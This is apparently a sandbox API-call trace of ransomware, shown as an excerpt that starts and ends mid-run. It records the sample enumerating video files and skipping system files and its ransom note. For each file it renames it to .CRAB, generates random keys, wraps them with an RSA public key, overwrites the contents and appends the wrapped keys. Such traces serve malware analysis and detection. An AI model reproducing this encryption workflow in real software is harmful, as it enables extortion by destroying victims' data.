	[0135.135] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\XeVl2.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\xevl2.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.136] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.136] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.136] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x56d6, lpOverlapped=0x0) returned 1
	[0135.148] VirtualAlloc (lpAddress=0x0, dwSize=0x56e0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.149] VirtualAlloc (lpAddress=0x0, dwSize=0x56e0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.149] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.150] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffa92a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.150] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x56e0, lpOverlapped=0x0) returned 1
	[0135.150] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.157] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.160] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.160] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.160] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.160] CloseHandle (hObject=0x3ec) returned 1
	[0135.160] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.160] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.160] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.161] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.161] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.161] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.161] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.161] lstrcmpW (lpString1="yuUlwSkuh2huf.mkv", lpString2=".") returned 1
	[0135.161] lstrcmpW (lpString1="yuUlwSkuh2huf.mkv", lpString2="..") returned 1
	[0135.161] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="yuUlwSkuh2huf.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv"
	[0135.161] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.161] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv") returned 61
	[0135.161] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv") returned 61
	[0135.161] lstrlenW (lpString=".mkv") returned 4
	[0135.161] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.162] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0135.162] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.162] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv") returned 61
	[0135.162] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv") returned 61
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="desktop.ini") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="autorun.inf") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="ntuser.dat") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="iconcache.db") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="bootsect.bak") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="boot.ini") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="ntuser.dat.log") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="thumbs.db") returned 1
	[0135.162] lstrcmpiW (lpString1="yuUlwSkuh2huf.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.162] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.162] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB") returned 66
	[0135.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\yuulwskuh2huf.mkv")) returned 0x20
	[0135.162] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv", dwFileAttributes=0x20) returned 1
	[0135.163] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\yuulwskuh2huf.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\yuulwskuh2huf.mkv.crab")) returned 1
	[0135.163] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.164] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB"
	[0135.164] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB.CRAB"
	[0135.164] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0135.165] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.165] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.165] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.165] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.165] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.165] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.165] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0135.166] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.166] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.166] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.166] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0135.166] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.167] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.167] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.167] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0135.168] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249b70) returned 1
	[0135.168] CryptGetKeyParam (in: hKey=0x3249b70, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.168] CryptEncrypt (in: hKey=0x3249b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.168] GetLastError () returned 0x0
	[0135.168] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0135.168] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0135.169] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3247e30) returned 1
	[0135.169] CryptGetKeyParam (in: hKey=0x3247e30, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.169] CryptEncrypt (in: hKey=0x3247e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.169] GetLastError () returned 0x0
	[0135.169] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0135.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\yuUlwSkuh2huf.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\yuulwskuh2huf.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.169] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.170] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.170] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x17bb2, lpOverlapped=0x0) returned 1
	[0135.181] VirtualAlloc (lpAddress=0x0, dwSize=0x17bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.183] VirtualAlloc (lpAddress=0x0, dwSize=0x17bc0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0135.185] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.186] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe844e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.186] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17bc0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x17bc0, lpOverlapped=0x0) returned 1
	[0135.186] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.187] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.190] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.191] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.191] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.191] CloseHandle (hObject=0x3ec) returned 1
	[0135.191] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.191] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.191] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.192] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.192] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.192] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.192] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.192] lstrcmpW (lpString1="zj87hwIO.mp4", lpString2=".") returned 1
	[0135.192] lstrcmpW (lpString1="zj87hwIO.mp4", lpString2="..") returned 1
	[0135.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="zj87hwIO.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4"
	[0135.192] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.193] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4") returned 56
	[0135.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4") returned 56
	[0135.193] lstrlenW (lpString=".mp4") returned 4
	[0135.193] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.193] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0135.193] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4") returned 56
	[0135.193] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4") returned 56
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="desktop.ini") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="autorun.inf") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="ntuser.dat") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="iconcache.db") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="bootsect.bak") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="boot.ini") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="ntuser.dat.log") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="thumbs.db") returned 1
	[0135.193] lstrcmpiW (lpString1="zj87hwIO.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.193] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.194] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB") returned 61
	[0135.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\zj87hwio.mp4")) returned 0x20
	[0135.194] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4", dwFileAttributes=0x20) returned 1
	[0135.194] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\zj87hwio.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\zj87hwio.mp4.crab")) returned 1
	[0135.195] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.196] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB"
	[0135.196] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB.CRAB"
	[0135.196] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e738) returned 1
	[0135.197] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.198] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.198] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.198] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0135.198] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.198] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0135.199] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.200] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.200] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.200] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0135.200] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.200] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.200] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.201] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0135.202] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3248170) returned 1
	[0135.202] CryptGetKeyParam (in: hKey=0x3248170, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.202] CryptEncrypt (in: hKey=0x3248170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.202] GetLastError () returned 0x0
	[0135.202] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0135.202] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0135.203] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32481f0) returned 1
	[0135.203] CryptGetKeyParam (in: hKey=0x32481f0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.204] CryptEncrypt (in: hKey=0x32481f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.204] GetLastError () returned 0x0
	[0135.204] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.204] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\zj87hwIO.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\zj87hwio.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.204] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.205] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.205] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x9cf0, lpOverlapped=0x0) returned 1
	[0135.217] VirtualAlloc (lpAddress=0x0, dwSize=0x9cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.218] VirtualAlloc (lpAddress=0x0, dwSize=0x9cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.219] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.219] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff6310, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.219] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x9cf0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x9cf0, lpOverlapped=0x0) returned 1
	[0135.220] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.220] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.224] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.224] CloseHandle (hObject=0x3ec) returned 1
	[0135.224] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.225] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.225] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
